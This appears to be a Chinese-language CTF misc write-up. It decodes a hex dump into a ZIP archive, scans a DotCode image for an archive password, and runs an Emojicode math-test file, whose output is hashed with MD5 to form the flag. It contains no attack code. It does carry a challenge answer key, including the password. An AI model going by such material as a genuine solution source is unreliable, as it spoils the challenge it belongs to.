4B52D757E158777AF79F1C3192DC98F5E5CBBE8A1C89907F7AE9AF5D91397C35F6A59F74D62EDC28CCA97F35B0E37C7FB9CEDBD55F6E033231B0B7A8F7DDA5485033557269C9D72BBA7322E24FDDCE756E5A2E760D67F01504B03041400000008002A9E7553D51DBDD98E0300008903000008000000666C61672E6B676501890376FC9A01310777A532DBA03F369672CF44C57A0178C9E54C388B29080B5B8779D2AE172D1849859E3310CBD70053E9AA16BF14974A9C1CDD13D91CA1CCA4F78C3CCCE4EC9BCB0CD31B7D115F075F7208512244C439D91FB08019199A94B39B29A97696A16A87AC1CF6E5615BA413622DE7119E5E20AF6A824F1C8B0C781938FC28DD3390AC4831C8E7A28BF83F02AD6FED965887C461220079D58C7DDB2424373B495DC24EF0F2E0B44593C4C57376540B679A8BFB4094543114FCE487E7025152313044995B415DB6B21A831C9BA886E1C30FFE198ED7E5AC97CAEA00A41AD9CDB9B8DBCD91783299D7E74BD3A4963728EE1B94E0E448888673667B6C529E47C8AB3093A0FD858AACFA0C92719B9F7A395948D9AC61792794743ED2F2069CCFCA847692D9262DDC0F61101F9000E1E67A4CD51C50E4DC8F37A5DEB911226BF822BF1885EED7782E0523AA9F72F305B27D7D9006CDCEFB9DA78D8FBF97F79451DE6B4DE78F7E8EC241D0A58DED1B8643A90E1F9262EBD81495BD5615829A673AF602E5B8267F3850F37E830B7E6ABB28F6BE1D9EA945A558F18F69133CCB31FFB3CA1DD63884C0F9B35BE684F7DB5109510F9AA85DE63F56803AFC54CC4FF324227ACA3A318025A734DB64A2BCD1DDC7902381809422E3CE21BDCA80F69569C554AF0942EADE0D562CAAD39C2683762BC0ABE8713014D648D8CE1C5161A1A0D42478A4158F6DBA12CA325F220B74FEC16DD0F31DE3877BF0BA7682786DC3F3772A55ADEDAAC7B322733B870BEB3DCDC076E7F9210CD12EE9760006856470A71371396CE76ABADE90655130F4C19B776EA5DE5F1C687F796F229B431B6AD8EF7E211D12E4C92052A2A889A7826852BF11271369CABB872D5AE9F3148597D8E29C3E2E23DCF0A283B2FE2D1430F4C2FD6530DDB51704853C786ADE2710A6A37A9F0F15D25DF1C00B9C67CAD2CB50C17E477A0B6F44B278779371C8BA88EFF0D9A66787DD838932E41A9F5EA6B24243147E7B1F51565C3DCF8CADD48D797939F9C2A90B2B4EB2E99955BBF3D6217DC156426ABB9704ABB039DDC6907965627ED763C15E996BBD31D42B9ABBA8F895631AF3AC86C476191BAF2D71AA12C635BDDFDF22AECE13E77586532366B37D1D2521853EC4AA3ECD38C103408AF4A9E60385FB8872D6C76876B6080DCD040E1B5D3D0AE37BD5BFA8434B2D485E714B29637BBCC413BAB06567FE7DCBA3FFCAB5F7F032E1E0ABB2BE9A5116EABB72BD56E50E2B4EF8753CBFD16C80DB79C7504B01021F00140000000800AC9C7553E5D2B438D80500009E060000080024000000000000002000000000000000666C61672E6769660A002000000000000100180040343D27CCDED7013FA9E2C5D0DED701105BE2C5D0DED701504B01021F001400000008002A9E7553D51DBDD98E030000890300000800240000000000000020000000FE050000666C61672E6B67650A00200000000000010018002CF032D2CDDED7010D0188D7CDDED7010ADA87D7CDDED701504B05060000000002000200B4000000B20900000000I

猜测是16进制,加上16进制的转换

得到PK开头的字符串

保存为压缩文件,解压后的到一个dotcode图片和kge文件

用KGB Archiver解压,发现要密码

在线网站扫描dotcode图片得到字符串(可能由于太模糊,很多扫描dotcode的网站都扫不出来)

Free Barcode Scanner Cognex

解压密码

This_1s_Hard_P@ssW0rd

解压得到hint.txt和math

hint.txt:

这是什么奇怪的emoji呢,flag为结果的md5格式

math

📦 testtube 🏠

🐇🦔🧪  🍇
  ✒️ ❗️ 🏁 🍇
    ⛔👇 📓0.0 ❗️ 🙌 0.0 🔤sin(0) = 0🔤❗️
    ⛔👇 📓🥧🕊💯❗️➗2❗️ 🙌 1.0 🔤sin(𝜏) = 1🔤❗️
    ⛔👇 📕0.0 ❗️ 🙌 1.0 🔤cos(0) = 1🔤❗️
    ⛔👇 📕🥧🕊💯❗️❗️ 🙌 -1.0 🔤cos(𝜋) = -1🔤❗️
    ⛔👇 📔0.0 ❗️ 🙌 0.0 🔤asin(0) = 0🔤❗️
    ⛔👇 📔1.0 ❗️ 🙌 🥧🕊💯❗️➗2 🔤asin(1) = 𝜏🔤❗️
    ⛔👇 📙1.0 ❗️ 🙌 0.0 🔤acos(1) = 0🔤❗️
    ⛔👇 📙-1.0 ❗️ 🙌 🥧🕊💯❗️🔤cos(-1) = 𝜋🔤❗️
    ⛔👇 🏂10.0  7.0❗️ 🙌 10000000.0 🔤10^7🔤❗️
    ⛔👇 🏂2.0  8.0❗️ 🙌 256.0 🔤2^8🔤❗️
    ⛔👇 🏂8.0  1.0  ➗ 3.0❗️ 🙌 2.0 🔤8^(1/3)🔤❗️
    ⛔👇 ⛷4.0 ❗️ 🙌 2.0 🔤√4🔤❗️
    ⛔👇 ⛷25.0 ❗️ 🙌 5.0 🔤√25🔤❗️
    ⛔👇 🚴6.7 ❗️ 🙌 7 🔤ceil 6.7🔤❗️
    ⛔👇 🚴78.09999 ❗️ 🙌 79 🔤ceil 78.09999🔤❗️
    ⛔👇 🚴84.0 ❗️ 🙌 84 🔤ceil 84.0🔤❗️
    ⛔👇 🚵84.0 ❗️ 🙌 84 🔤floor 84.0🔤❗️
    ⛔👇 🚵66.9 ❗️ 🙌 66 🔤floor 66.9🔤❗️
    ⛔👇 🚵11.0111 ❗️ 🙌 11 🔤floor 11.0111🔤❗️
    ⛔👇 🏇84.0 ❗️ 🙌 84 🔤round 84.0🔤❗️
    ⛔👇 🏇66.9 ❗️ 🙌 67 🔤round 66.9🔤❗️
    ⛔👇 🏇11.5 ❗️ 🙌 12 🔤round 11.5🔤❗️
    ⛔👇 🏇11.6 ❗️ 🙌 12 🔤round 11.6🔤❗️
    ⛔👇 🏇11.4 ❗️ 🙌 11 🔤round 11.4🔤❗️
    ⛔👇 🏧-11 ❗️ 🙌 11 🔤abs -11🔤❗️
    ⛔👇 🏧0 ❗️ 🙌 0 🔤abs 0🔤❗️
    ⛔👇 🏧386839873526789 ❗️ 🙌 386839873526789 🔤abs 386839873526789🔤❗️
    ⛔👇 🏧-9237173456 ❗️ 🙌 9237173456 🔤abs -9237173456🔤❗️
    ⛔👇 🏧198 ❗️ 🙌 198 🔤abs 198🔤❗️
    ⛔👇 🏧-14.6781 ❗️ 🙌 14.6781 🔤abs -14.6781🔤❗️
    ⛔👇 🏧-0.00013 ❗️ 🙌 0.00013 🔤abs -0.00013🔤❗️
    ⛔👇 🏧0.00013 ❗️ 🙌 0.00013 🔤abs -0.00013🔤❗️
    ⛔👇 🏧3342.0 ❗️ 🙌 3342.0 🔤abs 3342🔤❗️
    ⛔👇 🏧-123.98647 ❗️ 🙌 123.98647 🔤abs -123.98647🔤❗️
    ⛔👇 🚣256.0 ❗️ 🙌 8.0 🔤log2(256) = 8🔤❗️
    ⛔👇 🚣16.0 ❗️ 🙌 4.0 🔤log2(16) = 4🔤❗️
    ⛔👇 🏄🛎🕊💯❗️❗️ 🙌 1.0 🔤ln(e) = 1🔤❗️
  🍉
🍉

🏁 ➡️ 🔢 🍇
  ↩️ 👔🆕🦔❗️❗️
🍉

根据题目奇怪的语言想到emojicode,安装环境

Emojicode Documentation · Installing Emojicode 1.0 beta 2

跑一遍,结果md5得到flag

加上flag{}即为flag